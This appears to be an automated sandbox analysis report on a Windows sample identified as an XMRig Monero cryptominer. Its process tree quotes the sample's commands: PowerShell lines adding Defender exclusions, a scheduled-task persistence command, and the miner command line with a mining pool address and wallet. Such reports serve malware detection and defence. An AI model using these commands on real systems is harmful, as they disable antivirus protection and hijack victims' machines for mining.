Analysis
- max time kernel
94s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
15/12/2022, 11:41
General
- Target file.exe
- Size 2.4MB
- Sample221215-ntewrsfc5x
- SHA256 e21f0408d6d6df3b8d1eeec2fcd9c73465a6b7fbd270492cd8811a2da28bc46d
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 32 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE796.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\common\JTPFKOXW.exe"C:\ProgramData\common\JTPFKOXW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
JTPFKOXW.exe
JTPFKOXW.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
tmpE796.tmp.bat
memory/488-142-0x00007FF87F5F0000-0x00007FF87F73E000-memory.dmp
memory/488-137-0x00007FF87F740000-0x00007FF87F7FD000-memory.dmp
memory/488-144-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/488-136-0x00007FF898090000-0x00007FF8980A2000-memory.dmp
memory/488-139-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/488-132-0x0000000000A10000-0x0000000000CD2000-memory.dmp
memory/488-148-0x0000000000A10000-0x0000000000CD2000-memory.dmp
memory/488-149-0x00000000008D0000-0x0000000000911000-memory.dmp
memory/488-143-0x00000000008D0000-0x0000000000911000-memory.dmp
memory/488-151-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/488-138-0x00007FF89C690000-0x00007FF89C831000-memory.dmp
memory/488-135-0x00007FF89BE30000-0x00007FF89BECE000-memory.dmp
memory/488-141-0x0000000000A10000-0x0000000000CD2000-memory.dmp
memory/488-140-0x00007FF89C4E0000-0x00007FF89C50B000-memory.dmp
memory/488-134-0x00007FF88E310000-0x00007FF88E3BA000-memory.dmp
memory/1548-202-0x0000027AC3B20000-0x0000027AC3B40000-memory.dmp
memory/1548-198-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1548-199-0x0000027AC3AE0000-0x0000027AC3B00000-memory.dmp
memory/1548-200-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1548-197-0x0000027AC3A70000-0x0000027AC3A90000-memory.dmp
memory/1548-196-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1548-195-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1548-193-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1548-201-0x0000027AC3B00000-0x0000027AC3B20000-memory.dmp
memory/1548-203-0x0000027AC3B00000-0x0000027AC3B20000-memory.dmp
memory/1548-204-0x0000027AC3B20000-0x0000027AC3B40000-memory.dmp
memory/4072-185-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4072-182-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4184-181-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4184-184-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4776-189-0x00007FF89C5C0000-0x00007FF89C62B000-memory.dmp
memory/4776-191-0x0000000000630000-0x00000000008F2000-memory.dmp
memory/4776-170-0x00007FF89C4E0000-0x00007FF89C50B000-memory.dmp
memory/4776-173-0x00000000005D0000-0x0000000000611000-memory.dmp
memory/4776-175-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4776-172-0x0000000000630000-0x00000000008F2000-memory.dmp
memory/4776-169-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4776-164-0x00007FF87F750000-0x00007FF87F7FA000-memory.dmp
memory/4776-186-0x00007FF89A460000-0x00007FF89A487000-memory.dmp
memory/4776-188-0x00007FF879050000-0x00007FF879152000-memory.dmp
memory/4776-187-0x00007FF88DD10000-0x00007FF88DD45000-memory.dmp
memory/4776-174-0x00007FF87F1F0000-0x00007FF87F33E000-memory.dmp
memory/4776-190-0x00007FF899540000-0x00007FF89957B000-memory.dmp
memory/4776-171-0x0000000000630000-0x00000000008F2000-memory.dmp
memory/4776-192-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4776-168-0x00007FF89C690000-0x00007FF89C831000-memory.dmp
memory/4776-167-0x00007FF87F690000-0x00007FF87F74D000-memory.dmp
memory/4776-166-0x00007FF898090000-0x00007FF8980A2000-memory.dmp
memory/4776-165-0x00007FF89BE30000-0x00007FF89BECE000-memory.dmp
memory/4920-159-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/4920-150-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/5024-156-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp
memory/5024-153-0x0000019525F80000-0x0000019525FA2000-memory.dmp
memory/5024-152-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp